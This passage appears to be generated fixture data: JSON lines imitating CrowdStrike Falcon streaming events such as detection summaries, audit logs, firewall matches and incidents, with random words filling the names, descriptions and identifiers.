"https://falcon.crowdstrike.com/activity-v2/detections/whosechildhood?_cid=xxxxxxx"}} +{"metadata": {"customerIDString": "itbouquet","offset": 6129949,"eventType": "ReconNotificationSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"NotificationId": "everyonebattery","Highlights": ["anyonefield"],"MatchedTimestamp": 1686889114000,"RuleId": "hishost","RuleName": "Peruviangrandfather","RuleTopic": "littleswan","RulePriority": "yourdanger","ItemId": "myhorde","ItemType": "LEGACY_TI","ItemPostedTimestamp": 1686889114000}} +{"metadata": {"customerIDString": "lots ofpart","offset": 1037283426,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "so fewbaby","UserIp": "69.1.75.38","OperationName": "resetAuthSecret","ServiceName": "Crowdstrike Streaming API","AuditKeyValues": [{"Key": "Turkishbatch","ValueString": "someonenecklace"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "thoseaid"}}} +{"metadata": {"customerIDString": "hisbrilliance","offset": -128771518,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "eagerbattery","UserIp": "157.31.134.135","OperationName": "revokeUserRoles","ServiceName": "detections","Success": true,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "whichgrandmother","ValueString": "Colombianfriendship"}],"Attributes": {"actor_cid": "substantialherbs","actor_user": "manyharm","actor_user_uuid": "hisvilla","app_id": "grievingresearch","saml_assertion": "hiscompany","target_user": "theirfriendship","trace_id": "lightproblem"}}} +{"metadata": {"customerIDString": "everybodybowl","offset": -1144620000,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "mymuster","PolicyId": -1726339930,"PolicyStatement": "enough ofsedge","CloudProvider": "whereline","CloudService": "theirperson","Severity": 97,"SeverityName": "High","EventAction": "howeye","EventSource": "fiercemodel","EventCreatedTimestamp": 1663011160,"UserId": "howthing","UserName": "whichtravel","UserSourceIp": "115.56.203.169","Tactic": "somebodyfear","Technique": "lightadvantage"}} +{"metadata": {"customerIDString": "whosefailure","offset": 2823017,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "yourpod","UserID": "eachnewspaper","ExecutionID": "Laotianboots","ReportID": "yourscooter","ReportName": "allfrailty","ReportType": "theirheat","ReportFileReference": "whatsilence","Status": "nobodyexaltation","StatusMessage": "herparty","ExecutionMetadata": {"ExecutionStart": -1613912222,"ExecutionDuration": 1846147691,"ReportFileName": "impromptubus","ResultCount": 447659694,"ResultID": "Turkishishcollection","SearchWindowStart": 1262880322,"SearchWindowEnd": 593349689}}} +{"metadata": {"customerIDString": "manypod","offset": 1415680558,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "Laotiancast","UserIp": "17.103.228.141","OperationName": "createUser","ServiceName": "Crowdstrike Streaming API","AuditKeyValues": [{"Key": "alltrade","ValueString": "heavygrandfather"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "whatposse"}}} +{"metadata": {"customerIDString": "thereparty","offset": 2091174933,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": 413575027,"ProcessEndTime": 744337427,"ProcessId": -747455923,"ParentProcessId": -1353657252,"ComputerName": "thesemurder","UserName": "tastyband","DetectName": "Asiangift","DetectDescription": "manyday","Severity": 0,"SeverityName": "Informational","FileName": "thereparty","FilePath": "hermuster\\thereparty","CommandLine": "C:\\Windows\\Sudanesebook","SHA256String": "Canadianlibrary","MD5String": "repulsivewrist","SHA1String": "nonerange","MachineDomain": "anycrowd","NetworkAccesses": [{"AccessType": 2045864891,"AccessTimestamp": 1751371565,"Protocol": "hertroupe","LocalAddress": "175.28.224.152","LocalPort": 49858,"RemoteAddress": "251.235.22.110","RemotePort": 45381,"ConnectionDirection": 1,"IsIPV6": true}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/panickedboard?_cid=xxxxxxx","SensorId": "herposse","IOCType": "registry_key","IOCValue": "heavyhospitality","DetectId": "a lotcloud","LocalIP": "36.65.231.175","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "nonefiction","Technique": "thatball","Objective": "whyharvest","PatternDispositionDescription": "team furniture thing party wad part guilt horror book mob block lawn year so fewposse","PatternDispositionValue": -247944075,"PatternDispositionFlags": {"Indicator": true,"Detect": false,"InddetMask": true,"SensorOnly": false,"Rooting": false,"KillProcess": true,"KillSubProcess": false,"QuarantineMachine": true,"QuarantineFile": false,"PolicyDisabled": false,"KillParent": false,"OperationBlocked": true,"ProcessBlocked": true,"RegistryOperationBlocked": true,"CriticalProcessDisabled": true,"BootupSafeguardEnabled": false,"FsOperationBlocked": true,"HandleOperationDowngraded": true,"KillActionFailed": true,"BlockingUnsupportedOrDisabled": false,"SuspendProcess": false,"SuspendParent": true},"ParentImageFileName": "whattroupe","ParentCommandLine": "over therepatrol","GrandparentImageFileName": "carefultrip","GrandparentCommandLine": "howbutter","HostGroups": "kubannest","AssociatedFile": "thisdream","PatternId": 2141955879}} +{"metadata": {"customerIDString": "theircluster","offset": -1130609459,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": 1801271134,"ProcessEndTime": 1989779501,"ProcessId": -946478599,"ParentProcessId": 367735827,"ComputerName": "thisloss","UserName": "Britishlibrary","DetectName": "eachchicken","DetectDescription": "host field group point bermudas person life care bevy part way crew leap blazer quiver notebook trip stack pen orange lightirritation","Severity": 4,"SeverityName": "Medium","FileName": "severalgrade","FilePath": "whoseprogress\\severalgrade","CommandLine": "C:\\Windows\\anythingparty","SHA256String": "noneplane","MD5String": "franticweek","SHA1String": "somegoodness","MachineDomain": "Barcelonianposse","NetworkAccesses": [{"AccessType": -1489347524,"AccessTimestamp": 1751371565,"Protocol": "thereawareness","LocalAddress": "139.113.62.38","LocalPort": 71472,"RemoteAddress": "229.105.119.123","RemotePort": 79397,"ConnectionDirection": 0,"IsIPV6": true}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/wheremachine?_cid=xxxxxxx","SensorId": "howboy","IOCType": "hash_sha256","IOCValue": "heregenetics","DetectId": "Sammarinesechild","LocalIP": "9.153.80.221","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "yourtroop","Technique": "itsentertainment","Objective": "oneemployment","PatternDispositionDescription": "woman strawberry telephone case line pronunciation orchard problem shoulder paper party company fun pack wall quiver fire school hatred fact quiver thing nonebale","PatternDispositionValue": 2000047797,"PatternDispositionFlags": {"Indicator": true,"Detect": true,"InddetMask": false,"SensorOnly": false,"Rooting": true,"KillProcess": true,"KillSubProcess": false,"QuarantineMachine": true,"QuarantineFile": false,"PolicyDisabled": true,"KillParent": false,"OperationBlocked": true,"ProcessBlocked": false,"RegistryOperationBlocked": false,"CriticalProcessDisabled": false,"BootupSafeguardEnabled": false,"FsOperationBlocked": false,"HandleOperationDowngraded": true,"KillActionFailed": false,"BlockingUnsupportedOrDisabled": true,"SuspendProcess": false,"SuspendParent": false},"ParentImageFileName": "thatfact","ParentCommandLine": "wherestreet","GrandparentImageFileName": "therepain","GrandparentCommandLine": "ourharm","HostGroups": "itsdisregard","AssociatedFile": "somefish","PatternId": 853927344}} +{"metadata": {"customerIDString": "myadvantage","offset": -1987247065,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "nonefailure","MobileDetectionId": 492499962,"ComputerName": "insufficientdisregard","UserName": "hundredstroop","ContextTimeStamp": 1649061056,"DetectId": "improvisedweek","DetectName": "relievedcrew","DetectDescription": "line cat freedom line microscope scold work towel room luxuty airport mouth group harvest woman elephant microscope cash congregation heremagic","Tactic": "ourplace","TacticId": "theirhost","Technique": "yourclass","TechniqueId": "manyfarm","Objective": "ourreligion","Severity": 11,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/pricklingarchitect?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "nobodyboxers","AndroidAppLabel": "Newtonianyard","DexFileHashes": "whatposse","ImageFileName": "bravegroup","AppInstallerInformation": "noneclarity","IsBeingDebugged": false,"AndroidAppVersionName": "thosemouth","IsContainerized": false}]}} +{"metadata": {"customerIDString": "Putinistchild","offset": 547025139,"eventType": "ReconNotificationSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"NotificationId": "whichchoker","Highlights": ["therekindness"],"MatchedTimestamp": 1686889114000,"RuleId": "hisleap","RuleName": "Torontonianclump","RuleTopic": "Tibetanarmy","RulePriority": "everybodyscold","ItemId": "whosejudge","ItemType": "SCRAPPY","ItemPostedTimestamp": 1686889114000}} +{"metadata": {"customerIDString": "thesepack","offset": 576302949,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "eachtime","MobileDetectionId": 353638587,"ComputerName": "wherefreedom","UserName": "tamearrow","ContextTimeStamp": 1649061056,"DetectId": "bravebale","DetectName": "eitherhorde","DetectDescription": "religion chaise longue supermarket troupe accommodation danger company cackle caravan day hedge sedge punctuation stress comfort work improvisedcomb","Tactic": "nobodymustering","TacticId": "couplemuster","Technique": "everystand","TechniqueId": "hundredsfact","Objective": "nohand","Severity": 3,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/everyboard?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "doubleperson","AndroidAppLabel": "thatribs","DexFileHashes": "whystress","ImageFileName": "whyclass","AppInstallerInformation": "anyschool","IsBeingDebugged": true,"AndroidAppVersionName": "severalbunch","IsContainerized": false}]}} +{"metadata": {"customerIDString": "a littlesister","offset": 497930223,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "fullleap","State": "open","FineScore": 8.253328187024268,"LateralMovement": 0,"IncidentType": 1,"IncidentID": "thesemob","HostID": "nonepollution","LMHostIDs": ["howidea"],"UserId": "enough ofparty"}} +{"metadata": {"customerIDString": "theregrandmother","offset": -377888476,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "whybevy","State": "closed","FineScore": 2.4581723447643586,"LateralMovement": 0,"IncidentType": 1,"IncidentID": "itscaravan","HostID": "thosegeneration","LMHostIDs": ["Norwegianbrain"],"UserId": "therebrace"}} +{"metadata": {"customerIDString": "anythingteam","offset": -1935320999,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "Machiavellianowl","UserIp": "114.202.79.254","OperationName": "changePassword","ServiceName": "detections","Success": false,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "everybodybowl","ValueString": "fewenthusiasm"}],"Attributes": {"actor_cid": "thesearchipelago","actor_user": "howbook","actor_user_uuid": "ouroutfit","app_id": "thattribe","saml_assertion": "muchteam","target_user": "eachslippers","trace_id": "thisway"}}} +{"metadata": {"customerIDString": "thatpagoda","offset": 2063223742,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "hisparty","DetectName": "howream","DetectDescription": "calm team battery cackle umbrella spoon fleet equipment finger justice bunch idea eachtomato","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/whoseclass?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 11,"SeverityName": "Critical","Tactic": "mybowl","Technique": "abundantcompany","Objective": "mushypower","SourceAccountDomain": "over thereweek","SourceAccountName": "anythingmuster","SourceAccountObjectSid": "Frenchproblem","SourceEndpointAccountObjectGuid": "wheretime","SourceEndpointAccountObjectSid": "Portuguesepacket","SourceEndpointHostName": "hereemployment","SourceEndpointIpAddress": "201.174.150.217","SourceEndpointSensorId": "drabpyramid","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "whygroup","PatternId": 133765209}} +{"metadata": {"customerIDString": "nonegauva","offset": 316797287,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "allinvention","HostnameField": "nonedesk","UserName": "whyteam","StartTimestamp": 1582830734,"AgentIdString": "wherebunch"}} +{"metadata": {"customerIDString": "hereschool","offset": -151133312,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "Slovakbowl","PolicyId": -1128670304,"PolicyStatement": "manyleap","CloudProvider": "severalboard","CloudService": "yourgarden","Severity": 41,"SeverityName": "High","EventAction": "whyloss","EventSource": "enough ofreel","EventCreatedTimestamp": 1663011160,"UserId": "sometroop","UserName": "Uzbekcaravan","UserSourceIp": "96.213.136.114","Tactic": "shybrain","Technique": "thatcountry"}} +{"metadata": {"customerIDString": "Iraqifailure","offset": -1166009564,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "herwork","UserIp": "215.199.50.84","OperationName": "grantUserRoles","ServiceName": "Crowdstrike Streaming API","AuditKeyValues": [{"Key": "hischildhood","ValueString": "herlie"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "tensejealousy"}}} +{"metadata": {"customerIDString": "eitherchapter","offset": -1005552837,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "whichpoverty","State": "open","FineScore": 0.8797163430774031,"LateralMovement": 1,"IncidentType": 1,"IncidentID": "herday","HostID": "myteam","LMHostIDs": ["gorgeouscalm"],"UserId": "Kazakhreligion"}} +{"metadata": {"customerIDString": "greatstring","offset": 1475365269,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "whichmob","CustomerId": "motionlessheap","Ipv": "213.219.212.194","CommandLine": "Mexicanuncle","ConnectionDirection": "0","EventType": "FirewallRuleIP6Matched","Flags": {"Audit": true,"Log": true,"Monitor": false},"HostName": "everyonebunch","ICMPCode": "whoserain","ICMPType": "smilingdetective","ImageFileName": "wherescale","LocalAddress": "194.18.54.3","LocalPort": "42330","MatchCount": -275661217,"MatchCountSinceLastReport": -1728798315,"NetworkProfile": "whichlove","PID": "1288009452","PolicyName": "someonehedge","PolicyID": "nonegroup","Protocol": "howcardigan","RemoteAddress": "175.98.186.191","RemotePort": "10099","RuleAction": "nicheeye","RuleDescription": "thing batch pod quiver metal mob leap basket coldness troupe butter advertising mustering range thing nurse work dynasty adventurousminute","RuleFamilyID": "sparseluck","RuleGroupName": "littlepatience","RuleName": "itsbody","RuleId": "whichedge","Status": "itslake","Timestamp": 1751371830,"TreeID": "eagerpart"}} +{"metadata": {"customerIDString": "Shakespeareanawareness","offset": 955097522,"eventType": "ReconNotificationSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"NotificationId": "theseheart","Highlights": ["Polishcompany"],"MatchedTimestamp": 1686889114000,"RuleId": "whichbeach","RuleName": "everythingbowl","RuleTopic": "Laotiansnow","RulePriority": "a littleair","ItemId": "thatstream","ItemType": "6G_EXTERNAL","ItemPostedTimestamp": 1686889114000}} +{"metadata": {"customerIDString": "lots ofclub","offset": -1462084068,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "therehat","UserID": "manyboard","ExecutionID": "powerlesseye","ReportID": "mushychoir","ReportName": "delightfulpacket","ReportType": "itscloud","ReportFileReference": "arrogantgrowth","Status": "anythingshrimp","StatusMessage": "whichhatred","ExecutionMetadata": {"ExecutionStart": -113504493,"ExecutionDuration": 319132957,"ReportFileName": "wheredynasty","ResultCount": -2023836113,"ResultID": "whyman","SearchWindowStart": -657242877,"SearchWindowEnd": 1977481583}}} +{"metadata": {"customerIDString": "Taiwanesebunch","offset": 1302564661,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "nobodycaravan","UserIp": "93.155.125.188","OperationName": "resetAuthSecret","ServiceName": "detections","Success": true,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "angryline","ValueString": "tensetoy"}],"Attributes": {"actor_cid": "hercinema","actor_user": "ourwoman","actor_user_uuid": "somework","app_id": "everygroup","saml_assertion": "hisjealousy","target_user": "repulsivejourney","trace_id": "nobodyfurniture"}}} +{"metadata": {"customerIDString": "boredfield","offset": -1108903205,"eventType": "EppDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AgentId": "kindexaltation","AggregateId": "xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725","CommandLine": "C:\\Windows\\itstrip","CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DataDomains": "Cloud","Description": "line number calm fox assistance cinema table gang congregation cackle gang currency pool wisp remote week hedge group group covey group frailty Dutchhost","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/hundredslaughter?_cid=xxxxxxx","FileName": "Greekmovement","FilePath": "itspatience\\Greekmovement","FilesAccessed": [{"FileName": "Greekmovement","FilePath": "itspatience\\Greekmovement","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "Greekmovement","FilePath": "itspatience\\Greekmovement","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\perfectsleep","GrandParentImageFileName": "enoughhost","GrandParentImageFilePath": "whykoala\\enoughhost","HostGroups": "Sudanesesweater","Hostname": "allsafety","LocalIP": "123.243.79.106","LocalIPv6": "175.173.153.31","LogonDomain": "severalnumber","MACAddress": "ba-xx-00-xx-d0-00","MD5String": "Portuguesepalm","Name": "couplerange","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": 113236423,"ConnectionDirection": 1,"IsIPV6": false,"LocalAddress": "158.133.57.226","LocalPort": 33528,"Protocol": "somefleet","RemoteAddress": "142.155.141.88","RemotePort": 60120}],"Objective": "cutetoothbrush","ParentCommandLine": "C:\\Windows\\yoursalt\\nobodyweather","ParentImageFileName": "nobodyweather","ParentImageFilePath": "shyusage\\nobodyweather","ParentProcessId": -1359678165,"PatternDispositionDescription": "swimming pool stand host mystudent","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": true,"BootupSafeguardEnabled": false,"ContainmentFileSystem": false,"CriticalProcessDisabled": true,"Detect": false,"FsOperationBlocked": false,"HandleOperationDowngraded": false,"InddetMask": false,"Indicator": false,"KillActionFailed": false,"KillParent": false,"KillProcess": false,"KillSubProcess": true,"OperationBlocked": false,"PolicyDisabled": true,"ProcessBlocked": false,"QuarantineFile": true,"QuarantineMachine": true,"RegistryOperationBlocked": true,"Rooting": false,"SensorOnly": false,"SuspendParent": false,"SuspendProcess": false},"PatternDispositionValue": -2102588479,"PatternId": -469512368,"PlatformId": "whereboard","PlatformName": "Linux","ProcessEndTime": 1390910424,"ProcessId": -1379631775,"ProcessStartTime": 911758269,"ReferrerUrl": "over theretrip","SHA1String": "over therecity","SHA256String": "mystand","Severity": 13,"SeverityName": "Medium","SourceProducts": "itsdivorce","SourceVendors": "defiantteen","Tactic": "South Americanconfusion","Technique": "nonearmy","Type": "ofp","UserName": "theirsoftware"}} +{"metadata": {"customerIDString": "anyoneusage","offset": -1405121981,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "numerousstaff","DataDomains": "Web","Description": "soup brace regiment bale oven book motivation labour dynasty butter school mustering music air party over thereman","DetectId": "coupleposse","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "54.117.159.151","HostNames": "Burkinesecluster","Name": "everybodysink","PatternId": -1890638280,"Severity": 2,"SourceProducts": "wickedpeace","SourceVendors": "youraid","StartTimeEpoch": 1643317697728000000,"TacticIds": "disturbedcluster","Tactics": "whathorror","TechniqueIds": "manyweek","Techniques": "Diabolicalharvest","XdrType": "xdr-scheduled-search" } }} +{"metadata": {"customerIDString": "Barbadiancongregation","offset": -1339545627,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "cleversand","DataDomains": "Email","Description": "week range class temple liter flock crib mob cast time gas station troupe person orangelitter","DetectId": "Nepalesefood","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "153.22.103.211","HostNames": "wrongpeace","Name": "oneparty","PatternId": 572958802,"Severity": 66,"SourceProducts": "easywad","SourceVendors": "whichthing","StartTimeEpoch": 1643317697728000000,"TacticIds": "eitherfrog","Tactics": "cruelpatience","TechniqueIds": "everyonebattery","Techniques": "hurtnumber","XdrType": "xdr-scheduled-search" } }} +{"metadata": {"customerIDString": "everypad","offset": 794604786,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "wherelibrary","MobileDetectionId": -813741988,"ComputerName": "whatheap","UserName": "wholebasket","ContextTimeStamp": 1649061056,"DetectId": "howdoor","DetectName": "eachbunch","DetectDescription": "basket somewad","Tactic": "whosecrime","TacticId": "pricklingpatience","Technique": "hertraffic","TechniqueId": "halfsnow","Objective": "neitherfreedom","Severity": 22,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/whereboard?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "significanthost","AndroidAppLabel": "enoughcast","DexFileHashes": "eachworld","ImageFileName": "whoseleap","AppInstallerInformation": "fewgossip","IsBeingDebugged": false,"AndroidAppVersionName": "whichperson","IsContainerized": false}]}} +{"metadata": {"customerIDString": "grievingwork","offset": 1735509124,"eventType": "ReconNotificationSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"NotificationId": "hispack","Highlights": ["howsafety"],"MatchedTimestamp": 1686889114000,"RuleId": "sparseaunt","RuleName": "whosebeauty","RuleTopic": "thisfuel","RulePriority": "nomilk","ItemId": "wanderingarmy","ItemType": "CS","ItemPostedTimestamp": 1686889114000}} +{"metadata": {"customerIDString": "wholecalm","offset": 119058977,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "everythinghappiness","MobileDetectionId": 1790881276,"ComputerName": "itsmagic","UserName": "Swaziset","ContextTimeStamp": 1649061056,"DetectId": "theirfriendship","DetectName": "mychapter","DetectDescription": "success Barbadianpatience","Tactic": "thesepart","TacticId": "mytrench coat","Technique": "Bismarckianproblem","TechniqueId": "noneproduct","Objective": "cheerfulhomework","Severity": 0,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/Greekcovey?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "repellingstream","AndroidAppLabel": "Indonesiancompany","DexFileHashes": "thatposse","ImageFileName": "thesechoir","AppInstallerInformation": "wholescold","IsBeingDebugged": false,"AndroidAppVersionName": "thosedarkness","IsContainerized": true}]}} +{"metadata": {"customerIDString": "whoseidea","offset": 429948887,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "itman","UserID": "myman","ExecutionID": "couplebrace","ReportID": "somebodyappetite","ReportName": "itvillage","ReportType": "Laotiantiger","ReportFileReference": "heavilygroup","Status": "smilingwisp","StatusMessage": "anyonehedge","ExecutionMetadata": {"ExecutionStart": 116137639,"ExecutionDuration": -1503286001,"ReportFileName": "someboard","ResultCount": -2104069598,"ResultID": "Dutchcontent","SearchWindowStart": 744397747,"SearchWindowEnd": -178323514}}} +{"metadata": {"customerIDString": "Spanishcrew","offset": 914702321,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "anyonebunch","PolicyId": 1444123637,"PolicyStatement": "muchcare","CloudProvider": "fewgovernment","CloudService": "allintelligence","Severity": 95,"SeverityName": "High","EventAction": "theirtroop","EventSource": "wherehorde","EventCreatedTimestamp": 1663011160,"UserId": "noneperson","UserName": "wherearmy","UserSourceIp": "161.114.44.124","Tactic": "heregrowth","Technique": "enoughfailure"}} +{"metadata": {"customerIDString": "someonealligator","offset": 860688524,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "theirpoint","CustomerId": "abundantbed","Ipv": "91.28.150.14","CommandLine": "herehelp","ConnectionDirection": "0","EventType": "FirewallRuleIP4Matched","Flags": {"Audit": false,"Log": false,"Monitor": true},"HostName": "Colombiancane","ICMPCode": "whyjustice","ICMPType": "anythingarmy","ImageFileName": "terriblecatalog","LocalAddress": "117.250.17.164","LocalPort": "77788","MatchCount": -1192201294,"MatchCountSinceLastReport": 1317194809,"NetworkProfile": "itteam","PID": "2145148567","PolicyName": "abundantfreedom","PolicyID": "wherewater","Protocol": "Sudanesepod","RemoteAddress": "89.158.1.159","RemotePort": "67431","RuleAction": "nicehappiness","RuleDescription": "guilt orchard gossip year oxygen pod nest nest crime bridge chapter progress peace flock class parfume market government singlequiver","RuleFamilyID": "everythingluxuty","RuleGroupName": "Peruviancravat","RuleName": "itsgang","RuleId": "gorgeoushappiness","Status": "wholeliterature","Timestamp": 1751371830,"TreeID": "wherebrother"}} +{"metadata": {"customerIDString": "wheretrench coat","offset": 396827393,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "a littlewisdom","HostnameField": "whygirl","UserName": "tensetiming","StartTimestamp": 1582830734,"AgentIdString": "oneobesity"}} +{"metadata": {"customerIDString": "nobodyconfusion","offset": -2046425906,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "homelessbookstore","UserIp": "175.43.209.29","OperationName": "changePassword","ServiceName": "detections","Success": true,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "itsjourney","ValueString": "whylitter"}],"Attributes": {"actor_cid": "myeye","actor_user": "anyinvention","actor_user_uuid": "whoselie","app_id": "heavyhelp","saml_assertion": "fewanger","target_user": "itbat","trace_id": "thosedynasty"}}} +{"metadata": {"customerIDString": "ourbunch","offset": 660537174,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "Spanishhour","DetectName": "numerouscompany","DetectDescription": "road racism quiver tiger library team pain advantage congregation fewworld","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/heavymarriage?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 80,"SeverityName": "High","Tactic": "anygroup","Technique": "anyreligion","Objective": "Beninesedeskpath","SourceAccountDomain": "a little bithappiness","SourceAccountName": "Frenchsnow","SourceAccountObjectSid": "toomercy","SourceEndpointAccountObjectGuid": "mostdetermination","SourceEndpointAccountObjectSid": "thesepicture","SourceEndpointHostName": "Brazilianeye","SourceEndpointIpAddress": "72.145.251.171","SourceEndpointSensorId": "sparseball","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "whyfiction","PatternId": 1014331507}} +{"metadata": {"customerIDString": "severalcare","offset": 1342695248,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "amusedpencil","State": "open","FineScore": 0.7641910996681891,"LateralMovement": 1,"IncidentType": 2,"IncidentID": "Balinesehorde","HostID": "eachcomb","LMHostIDs": ["numerousbrilliance"],"UserId": "enough ofpack"}} +{"metadata": {"customerIDString": "wrongmob","offset": -422176460,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "comfortablesedge","DetectName": "kubanfleet","DetectDescription": "relaxation shoulder door band method noun deceit tolerance childhood elegance dentist loneliness day church usage production entertainment whyirritation","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/somevillage?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 4,"SeverityName": "Informational","Tactic": "unusualposse","Technique": "everyoneroom","Objective": "histoy","SourceAccountDomain": "heresugar","SourceAccountName": "fantasticmouth","SourceAccountObjectSid": "over theregovernment","SourceEndpointAccountObjectGuid": "whereposse","SourceEndpointAccountObjectSid": "itsteam","SourceEndpointHostName": "whatlabour","SourceEndpointIpAddress": "85.158.225.79","SourceEndpointSensorId": "herehomework","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "whatgenetics","PatternId": -850535251}} +{"metadata": {"customerIDString": "whoseold age","offset": -734314513,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "heremethod","State": "closed","FineScore": 7.4072197893040554,"LateralMovement": 0,"IncidentType": 1,"IncidentID": "whichhorror","HostID": "hiscoldness","LMHostIDs": ["thatpack"],"UserId": "helpfulcongregation"}} +{"metadata": {"customerIDString": "therepack","offset": 1274480458,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "hisfuel","HostnameField": "fewgoal","UserName": "Polynesiangate","StartTimestamp": 